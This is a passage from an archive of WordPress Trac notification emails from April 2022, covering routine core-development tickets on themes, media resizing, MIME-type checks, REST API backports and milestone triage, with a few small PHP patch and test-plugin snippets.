from GD/Imagick, something that 99% of sites support is not a good data-point for us to record. - Stats based on the submitted data likely won't be available for sometime, as we'll need to add the recording/generation code for it, determine what to generate daily/weekly/monthly/on-demand/etc. -- Ticket URL: <https://core.trac.wordpress.org/ticket/48116#comment:26> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 07:26:00 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 07:26:00 -0000 Subject: [wp-trac] [WordPress Trac] #54829: Allow classic themes to be optionally block themes if 'templates' and 'parts' folders exists In-Reply-To: <052.069004cc75ecb12bbbf3c5cd7632dbc5@wordpress.org> References: <052.069004cc75ecb12bbbf3c5cd7632dbc5@wordpress.org> Message-ID: <067.8adb24f7e1800c04a2cf6d5cdea37fb9@wordpress.org> #54829: Allow classic themes to be optionally block themes if 'templates' and 'parts' folders exists -------------------------------------------------+------------------------- Reporter: exstheme | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Future | Release Component: Themes | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: testing 2nd-opinion early | -------------------------------------------------+------------------------- Changes (by costdev): * keywords: has-patch has-unit-tests needs-testing => has-patch has-unit- tests needs-testing 2nd-opinion early * milestone: 6.0 => Future Release Comment: While this ticket has a PR and unit tests, it still needs more input as we don't have consensus. As today is Beta 1 for WordPress 6.0, I'm moving this ticket to ''Future Release'' to be pulled into the 6.1 milestone. I'm also adding `2nd- opinion` and `early` so that discussion continues as soon as possible. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54829#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 07:37:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 07:37:24 -0000 Subject: [wp-trac] [WordPress Trac] #55554: Block heading disappears when it's white color In-Reply-To: <053.33cd29f33aa6011d1ea82ad4f6f4580a@wordpress.org> References: <053.33cd29f33aa6011d1ea82ad4f6f4580a@wordpress.org> Message-ID: <068.9fb77757e870bf1b264e47ba7e6d1429@wordpress.org> #55554: Block heading disappears when it's white color -------------------------------+-------------------------------- Reporter: mehedi890 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.9.3 Severity: normal | Resolution: Keywords: 2nd-opinion close | Focuses: ui, accessibility -------------------------------+-------------------------------- Changes (by azouamauriac): * keywords: reporter-feedback => 2nd-opinion close Comment: Hello, as far as I know when the text and the background are the same color, the text can not be readable. But let's ask second opinion. However I don't think this is a bug. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55554#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 08:32:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 08:32:41 -0000 Subject: [wp-trac] [WordPress Trac] #55561: Twenty Seventeen: Blurry header image on mobile Message-ID: <056.f2c415d691ad13701f9bf2250ac31e9d@wordpress.org> #55561: Twenty Seventeen: Blurry header image on mobile --------------------------+----------------------------- Reporter: robertghetau | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- Steps to reproduce - Add a custom header image via the Customizer on Twenty Seventeen - View the site on desktop - View the site on mobile/use responsive design mode to see image on a smaller screen Image used: https://philnicktestahome.files.wordpress.com/2019/09/cropped- pexels-photo-2745258.jpeg This appears to be caused by the Responsive images settings inside the theme. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55561> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 08:46:45 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 08:46:45 -0000 Subject: [wp-trac] [WordPress Trac] #55562: NOt open Message-ID: <053.48863590962ff9ee87b9e995d26e6a99@wordpress.org> #55562: NOt open --------------------------+----------------------------- Reporter: debu45221 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.2 Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- There has been a critical error on this website. Learn more about troubleshooting WordPress. My site debusg.com.np -- Ticket URL: <https://core.trac.wordpress.org/ticket/55562> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 08:49:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 08:49:26 -0000 Subject: [wp-trac] [WordPress Trac] #55562: NOt open In-Reply-To: <053.48863590962ff9ee87b9e995d26e6a99@wordpress.org> References: <053.48863590962ff9ee87b9e995d26e6a99@wordpress.org> Message-ID: <068.23cb1354b714b92a2709c6e718558c9c@wordpress.org> #55562: NOt open --------------------------+---------------------- Reporter: debu45221 | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: Severity: normal | Resolution: invalid Keywords: | Focuses: --------------------------+---------------------- Changes (by costdev): * status: new => closed * version: 5.9.2 => * resolution: => invalid * milestone: Awaiting Review => Comment: Hi @debu45221 , welcome to Trac! Sorry to hear that you're having trouble with your website. Trac is for the development of WordPress Core rather than providing WordPress support. You can get some help from the folks over on [https://wordpress.org/support/forums/ the support forums]. You can also read [https://wordpress.org/support/article/debugging-in-wordpress/ Debugging in WordPress] to find out what is causing the error on your website. Best of luck! -- Ticket URL: <https://core.trac.wordpress.org/ticket/55562#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 08:59:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 08:59:40 -0000 Subject: [wp-trac] [WordPress Trac] #54829: Allow classic themes to be optionally block themes if 'templates' and 'parts' folders exists In-Reply-To: <052.069004cc75ecb12bbbf3c5cd7632dbc5@wordpress.org> References: <052.069004cc75ecb12bbbf3c5cd7632dbc5@wordpress.org> Message-ID: <067.b1933157fe171bbfd826251995d6cdd6@wordpress.org> #54829: Allow classic themes to be optionally block themes if 'templates' and 'parts' folders exists -------------------------------------------------+------------------------- Reporter: exstheme | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Future | Release Component: Themes | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: testing 2nd-opinion early | -------------------------------------------------+------------------------- Comment (by exstheme): Dear @costdev ! Thank you very much for your attention to this ticket. Is there are potential problems may cause if this PR will be merged? Dear @poena ! Can you please check my previous answer and let us know what you're think about it? https://core.trac.wordpress.org/ticket/54829#comment:10 Thank you! -- Ticket URL: <https://core.trac.wordpress.org/ticket/54829#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 09:04:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 09:04:53 -0000 Subject: [wp-trac] [WordPress Trac] #54970: "Please update WordPress" link on incompatible theme tile on the "Add Themes" view is not clickable In-Reply-To: <053.88c723015c17ac75cad59699c71d450c@wordpress.org> References: <053.88c723015c17ac75cad59699c71d450c@wordpress.org> Message-ID: <068.03daacd2c46a8957a62732cc8c0d2814@wordpress.org> #54970: "Please update WordPress" link on incompatible theme tile on the "Add Themes" view is not clickable -----------------------------+------------------------ Reporter: tomasza8c | Owner: audrasjb Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Themes | Version: Severity: normal | Resolution: Keywords: has-screenshots | Focuses: ui, css -----------------------------+------------------------ Changes (by audrasjb): * milestone: Awaiting Review => 6.0 Comment: Putting this into the milestone again, since I'm working on a patch. It can stays after beta 1 since it is a bugfix. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54970#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 09:12:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 09:12:24 -0000 Subject: [wp-trac] [WordPress Trac] #54829: Allow classic themes to be optionally block themes if 'templates' and 'parts' folders exists In-Reply-To: <052.069004cc75ecb12bbbf3c5cd7632dbc5@wordpress.org> References: <052.069004cc75ecb12bbbf3c5cd7632dbc5@wordpress.org> Message-ID: <067.7ba4485e60867d7f44189cb386d6cab1@wordpress.org> #54829: Allow classic themes to be optionally block themes if 'templates' and 'parts' folders exists -------------------------------------------------+------------------------- Reporter: exstheme | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Future | Release Component: Themes | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: testing 2nd-opinion early | -------------------------------------------------+------------------------- Comment (by costdev): > @exstheme Is there are potential problems may cause if this PR will be merged? I don't believe the PR will cause a bug, but we have other areas to consider: - Backwards compatibility: Every enhancement may introduce something that we can't just remove in future without potentially breaking websites. - Vision: We must ensure that an enhancement aligns with the original intention of a feature - in this case, block themes. This means that an enhancement must have a clear usage and it must be considered beneficial by the community. I don't feel that our three opinions are enough to make this determination for this particular enhancement, especially as we have not reached a conclusion with regards to difference of opinion. It is therefore preferable that we encourage others in the community to join the discussion to add more opinions and insight. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54829#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 09:25:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 09:25:07 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.d35a11e376b7cec5275b768931adc563@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53152" 53152]: {{{ #!CommitTicketReference repository="" revision="53152" REST API: Bring new endpoints for Block Patterns from Gutenberg plugin Related Gutenberg issue: https://github.com/WordPress/gutenberg/issues/39889. Backporting changes from the Gutenberg plugin: - new Block Patterns REST API endpoint - new Block Pattern Categories REST API endpoint - updates to Query Loop related patterns - support for custom taxonomies in Query Loop block Props hellofromtonya, peterwilsoncc, ntsekouras, zieladam, ironprogrammer, spacedmonkey, timothyblynjacobs, antonvlasenko, jsnajdr. See #55505. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:97> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 09:38:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 09:38:38 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.abd9e30ff54dffaa2dfe7f7a2827cba7@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53153" 53153]: {{{ #!CommitTicketReference repository="" revision="53153" Tests: Improve test cleanup for block supports Let's unregister the block in the tear_down method. The block will be unregistered even if the test fails. Props ramonopoly, antonvlasenko. See #55505. Follow-up [53085], [53076]. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:100> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 09:43:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 09:43:21 -0000 Subject: [wp-trac] [WordPress Trac] #54561: Avoid translating several times widget media default strings In-Reply-To: <050.8194aa47e159010e88e89c613a42c1b9@wordpress.org> References: <050.8194aa47e159010e88e89c613a42c1b9@wordpress.org> Message-ID: <065.2a75e1d1963502c222ff3f7bfa63d78f@wordpress.org> #54561: Avoid translating several times widget media default strings -------------------------+-------------------------- Reporter: Chouby | Owner: audrasjb Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.0 Component: Widgets | Version: 4.8 Severity: normal | Resolution: Keywords: has-patch | Focuses: performance -------------------------+-------------------------- Comment (by audrasjb): I'm sorry, but I'm not sure where to hook/call the reset labels function… (and I'm not sure it's really needed too). Halp :) -- Ticket URL: <https://core.trac.wordpress.org/ticket/54561#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 10:19:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 10:19:16 -0000 Subject: [wp-trac] [WordPress Trac] #55563: The function get_allowed_mime_types should check wp_get_current_user Message-ID: <049.ef77ab37b6df3e3dcc41a51596801c65@wordpress.org> #55563: The function get_allowed_mime_types should check wp_get_current_user --------------------------+----------------------------- Reporter: giuse | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Formatting | Version: 5.9.3 Severity: normal | Keywords: dev-feedback Focuses: | --------------------------+----------------------------- The function get_allowed_mime_types checks if the function current_user_can before using it, as you can see at https://developer.wordpress.org/reference/functions/get_allowed_mime_types/. The function current_user_can calls wp_get_current_user, as you can see at https://developer.wordpress.org/reference/functions/current_user_can/ If the function get_allowed_mime_types is called when wp_get_current_user doesn't exist yet, it triggers a fatal error. I think get_allowed_mime_types should check also if wp_get_current_user exist. I would write something like this: {{{#!php <?php function get_allowed_mime_types( $user = null ) { $t = wp_get_mime_types(); unset( $t['swf'], $t['exe'] ); if ( function_exists( 'current_user_can' ) && function_exists( 'wp_get_current_user' ) ) { $unfiltered = $user ? user_can( $user, 'unfiltered_html' ) : current_user_can( 'unfiltered_html' ); } if ( empty( $unfiltered ) ) { unset( $t['htm|html'], $t['js'] ); } /** * Filters list of allowed mime types and file extensions. * * @since 2.0.0 * * @param array $t Mime types keyed by the file extension regex corresponding to those types. * @param int|WP_User|null $user User ID, User object or null if not provided (indicates current user). */ return apply_filters( 'upload_mimes', $t, $user ); } }}} The function wp_get_current_user is defined in wp-includes/plugguble.php, so after all, plugins are loaded. This means that if you call sanitize_file_name inside a nu-plugin, or before the action 'plugin_loaded', you have the fatal error. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55563> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 10:43:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 10:43:26 -0000 Subject: [wp-trac] [WordPress Trac] #40415: Imagick resize filter hook In-Reply-To: <055.0b477ef1dc8e15f662c0700c42dcc103@wordpress.org> References: <055.0b477ef1dc8e15f662c0700c42dcc103@wordpress.org> Message-ID: <070.b88646b0f706a4f52c4535c57cd0edf2@wordpress.org> #40415: Imagick resize filter hook -------------------------------------------------+------------------------- Reporter: virgodesign | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Media | Version: 4.7.3 Severity: normal | Resolution: Keywords: has-patch needs-testing reporter- | Focuses: feedback | -------------------------------------------------+------------------------- Changes (by mikeschroder): * Attachment "40415.3.diff" added. Adjusted spacing and inline comments. -- Ticket URL: <https://core.trac.wordpress.org/ticket/40415> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 10:48:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 10:48:37 -0000 Subject: [wp-trac] [WordPress Trac] #40415: Imagick resize filter hook In-Reply-To: <055.0b477ef1dc8e15f662c0700c42dcc103@wordpress.org> References: <055.0b477ef1dc8e15f662c0700c42dcc103@wordpress.org> Message-ID: <070.923bc546c87d0a6e5e2a6021af393dc4@wordpress.org> #40415: Imagick resize filter hook -------------------------------------------------+------------------------- Reporter: virgodesign | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Media | Version: 4.7.3 Severity: normal | Resolution: Keywords: has-patch needs-testing reporter- | Focuses: feedback | -------------------------------------------------+------------------------- Comment (by mikeschroder): Updated the patch's spacing and comments in [attachment:"40415.3.diff"]. While looking at this, I noticed that it looks like there's [https://www.php.net/manual/en/function.imagescale.php a way to choose the resizing method with GD], so it might be worthwhile to add support for this sort of thing there too. Maybe worth a second ticket? Or considering as part of explorations in #55036? -- Ticket URL: <https://core.trac.wordpress.org/ticket/40415#comment:30> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 11:38:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 11:38:10 -0000 Subject: [wp-trac] [WordPress Trac] #28277: Add ability to apply image edits to custom image sizes In-Reply-To: <050.5da3f53cb013ad64e6f574988d50be5b@wordpress.org> References: <050.5da3f53cb013ad64e6f574988d50be5b@wordpress.org> Message-ID: <065.4cc00b0066371e66fb0781b1a64a19aa@wordpress.org> #28277: Add ability to apply image edits to custom image sizes ------------------------------+----------------------------- Reporter: silb3r | Owner: joedolson Type: enhancement | Status: accepted Priority: normal | Milestone: 6.0 Component: Media | Version: 4.0 Severity: normal | Resolution: Keywords: has-patch commit | Focuses: administration ------------------------------+----------------------------- Changes (by costdev): * keywords: has-patch needs-testing => has-patch commit Comment: == Test Report === Environment * Server: Apache (Linux) * WordPress: 6.0-alpha-52448-src * Browser: Chrome 100.0.4896.75 * OS: Windows 10 * Theme: Twenty Twenty * Plugins: * Test 'edit_custom_thumbnail_sizes' filter. 1.0.0 === Steps 1. Apply [https://core.trac.wordpress.org/attachment/ticket/28277/28277.2.diff 28277.2.diff]. 2. Add the following to `wp-content/plugins/test-edit-custom-thumbnail- sizes/test-edit-custom-thumbnail-sizes.php`: {{{#!php <?php /** * Plugin Name: Test 'edit_custom_thumbnail_sizes' filter. * Description: A test for the 'edit_custom_thumbnail_sizes' filter. * Author: WordPress Core Contributors * Version: 1.0.0 */ add_action( 'after_setup_theme', function() { add_image_size( 'my-custom-size', 123, 123 ); add_filter( 'edit_custom_thumbnail_sizes', '__return_true' ); if ( ! is_admin() ) { $latest_image = new WP_Query( array( 'post_type' => 'attachment', 'post_status' => 'any', 'posts_per_page' => 1, ) ); echo wp_get_attachment_image( $latest_image->posts[0]->ID, 'my-custom-size' ); echo wp_get_attachment_image( $latest_image->posts[0]->ID, 'thumbnail' ); } } ); }}} 3. Navigate to `Plugins > Installed Plugins`. 4. Activate the `Test 'edit_custom_thumbnail_sizes' filter.` plugin. 5. Navigate to `Media > Add New`. 6. Upload a new image. 7. Click `Edit`. 8. Click `Edit Image`. See that the `my-custom-size` is shown under the `Thumbnail Settings > Apply changes to` section. ✅ 9. Select `my-custom-size` under `Thumbnail Settings > Apply changes to` section. 10. At the top, click the `Flip Vertically` button. 11. Click `Save`. 12. Click `Update`. 13. Navigate to the frontend. See that two images are shown: - The `my-custom-size` size, flipped vertically. ✅ - The `thumbnail` size, not flipped vertically. ✅ === Results 1. [https://core.trac.wordpress.org/attachment/ticket/28277/28277.2.diff 28277.2.diff] works as expected. === Notes - Adding for `commit` consideration. -- Ticket URL: <https://core.trac.wordpress.org/ticket/28277#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 12:03:42 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 12:03:42 -0000 Subject: [wp-trac] [WordPress Trac] #53212: add post_type-specific version of the register_post_type_args filter In-Reply-To: <050.9272e3495e02d50f60b170dffa0cf8e0@wordpress.org> References: <050.9272e3495e02d50f60b170dffa0cf8e0@wordpress.org> Message-ID: <065.713778e4bd68fa5004907690d73bcb84@wordpress.org> #53212: add post_type-specific version of the register_post_type_args filter -------------------------------------------------+------------------------- Reporter: pbiron | Owner: dlh Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: Severity: normal | Resolution: Keywords: needs-dev-note needs-docs has-patch | Focuses: has-unit-tests | -------------------------------------------------+------------------------- Changes (by dlh): * status: closed => reopened * resolution: fixed => Comment: Apologies for reopening this ticket, but as @pbiron noticed, I neglected to update the inline docs for the new hooks after renaming the interpolated variables. I've opened a new PR with those updates, plus a couple other additions to the docs that Paul suggested: https://github.com/WordPress/wordpress-develop/pull/2573 -- Ticket URL: <https://core.trac.wordpress.org/ticket/53212#comment:23> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 12:46:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 12:46:25 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.15b5b45e63961018fa1db7fe7a08397d@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53154" 53154]: {{{ #!CommitTicketReference repository="" revision="53154" REST API: Use snake case convention for field names in Block Patterns Backports the same changes applied in Gutenberg: https://github.com/WordPress/gutenberg/pull/40254. Follow-up for [53152]. Props jsnajdr, timothyblynjacobs. See #55505. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:105> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 12:58:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 12:58:19 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.83ae982b21e7106ce623440fb2090ba6@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53155" 53155]: {{{ #!CommitTicketReference repository="" revision="53155" Editor: Remove block patterns from server-generated settings Backport of https://github.com/WordPress/gutenberg/pull/39185 from the Gutenberg plugin. Namely the part where the `gutenberg_remove_block_patterns_settings` filter function removes the block patterns fields from settings. Props jsnajdr, zieladam. See #55505. Follow-up for [53152]. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:108> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 13:14:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 13:14:37 -0000 Subject: [wp-trac] [WordPress Trac] #40415: Imagick resize filter hook In-Reply-To: <055.0b477ef1dc8e15f662c0700c42dcc103@wordpress.org> References: <055.0b477ef1dc8e15f662c0700c42dcc103@wordpress.org> Message-ID: <070.ff49741224ba21a22647fc1b1e333200@wordpress.org> #40415: Imagick resize filter hook -------------------------------------------------+------------------------- Reporter: virgodesign | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Future | Release Component: Media | Version: 4.7.3 Severity: normal | Resolution: Keywords: has-patch needs-testing reporter- | Focuses: feedback | -------------------------------------------------+------------------------- Changes (by costdev): * milestone: 6.0 => Future Release Comment: As patch [https://core.trac.wordpress.org/attachment/ticket/40415/40415.3.diff 40415.3.diff] still needs testing and Beta 1 is today, I'm moving this off the 6.0 milestone to ''Future Release''. If anyone has time to test this and get it committed, feel free to add it back into the milestone. -- Ticket URL: <https://core.trac.wordpress.org/ticket/40415#comment:31> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 13:18:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 13:18:57 -0000 Subject: [wp-trac] [WordPress Trac] #54874: [New User Notification] Allow conditional mail supression In-Reply-To: <052.e0be7ba4869bf898a8feced6a81fbc73@wordpress.org> References: <052.e0be7ba4869bf898a8feced6a81fbc73@wordpress.org> Message-ID: <067.e30b5d3a8d66d31ae44d31648b5dc07c@wordpress.org> #54874: [New User Notification] Allow conditional mail supression -------------------------------------------------+------------------------- Reporter: janthiel | Owner: (none) Type: feature request | Status: new Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: has-patch needs-unit-tests needs- | Focuses: dev-note 2nd-opinion | -------------------------------------------------+------------------------- Comment (by audrasjb): I updated the PR for better support of WordPress Coding standards. Looks good to go on my side. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54874#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 13:29:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 13:29:13 -0000 Subject: [wp-trac] [WordPress Trac] #46057: Remove self-references ("we") in text in core In-Reply-To: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> References: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> Message-ID: <070.9ffe6b079c877902c72f59f42a3be260@wordpress.org> #46057: Remove self-references ("we") in text in core ----------------------------+----------------------- Reporter: johnbillion | Owner: audrasjb Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: minor | Resolution: Keywords: has-patch | Focuses: ui-copy ----------------------------+----------------------- Changes (by audrasjb): * keywords: has-patch commit assigned-for-commit => has-patch Comment: The above PR implements those propositions. -- Ticket URL: <https://core.trac.wordpress.org/ticket/46057#comment:35> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 13:40:49 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 13:40:49 -0000 Subject: [wp-trac] [WordPress Trac] #46057: Remove self-references ("we") in text in core In-Reply-To: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> References: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> Message-ID: <070.2e530201687b32926635af675c34b933@wordpress.org> #46057: Remove self-references ("we") in text in core ------------------------------+----------------------- Reporter: johnbillion | Owner: audrasjb Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: minor | Resolution: Keywords: has-patch commit | Focuses: ui-copy ------------------------------+----------------------- Changes (by audrasjb): * keywords: has-patch => has-patch commit Comment: Thanks for the review @costdev 👍 -- Ticket URL: <https://core.trac.wordpress.org/ticket/46057#comment:36> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 13:42:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 13:42:02 -0000 Subject: [wp-trac] [WordPress Trac] #46057: Remove self-references ("we") in text in core In-Reply-To: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> References: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> Message-ID: <070.25b51be4cc612ac85d127037e7a47fa1@wordpress.org> #46057: Remove self-references ("we") in text in core ------------------------------+----------------------- Reporter: johnbillion | Owner: audrasjb Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: minor | Resolution: fixed Keywords: has-patch commit | Focuses: ui-copy ------------------------------+----------------------- Changes (by audrasjb): * status: reopened => closed * resolution: => fixed Comment: In [changeset:"53156" 53156]: {{{ #!CommitTicketReference repository="" revision="53156" Administration: Clarify some sentences after [53131]. Props SergeyBiryukov, costdev, audrasjb. Fixes #46057. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/46057#comment:37> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 14:00:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 14:00:21 -0000 Subject: [wp-trac] [WordPress Trac] #54356: Determine and apply best default quality settings for WebP images In-Reply-To: <059.160a1570e24152f1f8fd5791ebe4a16c@wordpress.org> References: <059.160a1570e24152f1f8fd5791ebe4a16c@wordpress.org> Message-ID: <074.c025100ef3dbea0d2f581b0d6e353c09@wordpress.org> #54356: Determine and apply best default quality settings for WebP images -----------------------------+----------------------------- Reporter: adamsilverstein | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Future Release Component: Media | Version: 5.8 Severity: normal | Resolution: Keywords: needs-patch | Focuses: performance -----------------------------+----------------------------- Changes (by costdev): * milestone: 6.0 => Future Release Comment: After discussing this ticket with @adamsilverstein in Slack, the exact value still requires further research. With 6.0 Beta 1 happening today, moving this off the 6.0 milestone to ''Future Release''. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54356#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 14:12:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 14:12:26 -0000 Subject: [wp-trac] [WordPress Trac] #54690: Add ability to filter whole notification email 